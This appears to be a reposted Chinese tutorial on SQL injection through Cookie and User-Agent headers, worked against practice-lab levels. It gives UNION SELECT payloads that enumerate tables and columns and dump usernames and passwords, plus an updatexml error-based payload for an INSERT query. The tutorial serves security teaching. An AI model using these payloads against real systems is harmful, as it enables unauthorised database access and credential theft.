SQL注入-其他位置注入(二)

admin 2025-12-22 03:49:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍了SQL注入中的Cookie注入和User-Agent注入两种技术。当输入参数被过滤时,可通过分析HTTP请求头寻找注入点。Cookie注入使用union查询获取数据,而User-Agent注入由于是INSERT语句,需使用updatexml等报错注入函数。文章提供了详细的注入步骤和代码示例,帮助安全测试人员识别和利用这些注入点。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞分析,漏洞POC,安全开发


cover_image

SQL注入-其他位置注入(二)

绿洲安全

2025年12月20日 18:00 北京

以下文章来源于网络小Q ,作者致力网络安全

网络小Q .

探索网络安全世界,了解最新技术趋势。我是网络安全技术博主,专注分享最新网络安全动态和实用技巧。

用户须知

1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。

2.合法性强调:教程中提供的所有信息、技巧、代码示例、工具推荐及操作指南等内容,均须在法律允许的范围内使用。用户应确保其行为遵守所在国家或地区的法律法规,并承担一切因使用、滥用或误用本教程内容而引起的法律责任和后果。

3.目的说明:本个人教程(以下简称“教程”)旨在提供网络安全基础知识与实践技巧,仅供教育和学术研究之用。本教程的编写目的在于提高公众对网络安全重要性的认识,并促进网络环境的健康发展。

4.安全与合法性责任:用户在应用本教程提供的知识和技能时,必须严格遵循道德规范和法律要求。禁止利用本教程内容从事任何非法活动,包括但不限于未授权访问、侵入他人网络系统、窃取隐私数据等行为。

5.内容更新与准确性:本教程内容基于当前网络安全领域的知识和技术标准,作者将尽力保证内容的准确性和时效性,但不对教程内容的更新频率、时效性或未来变化承担任何责任。用户应意识到网络安全技术和法律法规不断发展变化,应当持续关注并适时更新相关知识和技能。

6.第三方链接:本教程可能包含指向第三方网站或资源的链接。这些链接仅为提供便利而设,不代表本教程作者对这些第三方网站的内容、产品或服务的认可。用户访问任何第三方网站和资源将自行承担风险。


SQL注入-其他位置注入

http请求头

http请求头参数说明

| 名称 | 说明 | | — | — | | POST /sql/Less-11/ HTTP/1.1 | 请求方式/文件位置/版本 | | Host | 请求主机地址 | | Content-Length: | 内容长度 | | User-Agent | 识别发起请求的用户代理软件的应用 |

  类型、操作系统、软件开发商以及版本号。|

Cookie 是一个 HTTP 请求标头,其中含有先前由服务器通过 Set-Cookie 标头投放或通过 JavaScript 的 Document.cookie 方法设置,然后存储到客户端的 HTTP cookie 。

SQL注入中使用场景

  1. 打开靶场第20关

  1. bp拦截

  1. 白盒分析

<<< 左右滑动见更多 >>>

输入框那里传入的参数,有check_input函数过滤,此处注入恶意语句无效


解决思路

向下继续找SQL语句,然后查看是否有过滤黑盒分析,就是找前后端数据交互的地方,一个一个试


进行注入

查看字段数

admin'&nbsp;order&nbsp;by&nbsp;3#

<<< 左右滑动见更多 >>>

执行没什么问题说明有三个字段数

和之前步骤一样

1'union&nbsp;select&nbsp;1,2,3&nbsp;#
1'union&nbsp;select&nbsp;1,2,database()#
1'union&nbsp;select&nbsp;1,2,group_concat(table_name)from&nbsp;information_schema.tables&nbsp;where&nbsp;table_schema='security'#
1'union&nbsp;select&nbsp;1,2,group_concat(column_name)from&nbsp;information_schema.columns&nbsp;where&nbsp;table_name='users'#
1'union&nbsp;select&nbsp;1,2,group_concat(id,username,password)&nbsp;from&nbsp;users#

<<< 左右滑动见更多 >>>


UA注入

在User-Agent位置注入

将提交的参数以User-Agent 的方式提交 原理:浏览器会检测ua,检测时候执行恶意语句

白盒分析

<<< 左右滑动见更多 >>>

原理相同,输入框那里传入的参数,有check_input函数过滤,此处注入恶意语句无效

源代码

"INSERT&nbsp;INTO&nbsp;`security`.`uagents`&nbsp;(`uagent`,&nbsp;`ip_address`,&nbsp;`username`)&nbsp;VALUES&nbsp;('$uagent',&nbsp;'$IP',&nbsp;$uname)";

此处为插入语句,需要一一对应,不能直接注释

注意:此处不能用union联合查询,因为union前面必须是是一个查询语句,这里不是,这里只能用报错注入

MySQL 提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的 内容显示在报错信息中。

如updatexml(1, 0x7e, 3)


解决思路

向下继续找SQL语句,然后查看是否有过滤黑盒分析,就是找前后端数据交互的地方,一个一个试

尝试注入

'or&nbsp;updatexml(1,concat(0x7e,(select&nbsp;database()),0x7e),1)&nbsp;or'

实际执行

INSERT&nbsp;INTO&nbsp;`security`.`uagents`&nbsp;(`uagent`,&nbsp;`ip_address`,&nbsp;`username`)&nbsp;VALUES&nbsp;(''or&nbsp;updatexml(1,concat(0x7e,(select&nbsp;database()),0x7e),1)&nbsp;or'',&nbsp;'$IP',&nbsp;$uname);

后续步骤一样...

<<< 左右滑动见更多 >>>


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:绿洲安全 《SQL注入-其他位置注入(二)》

评论:0   参与:  0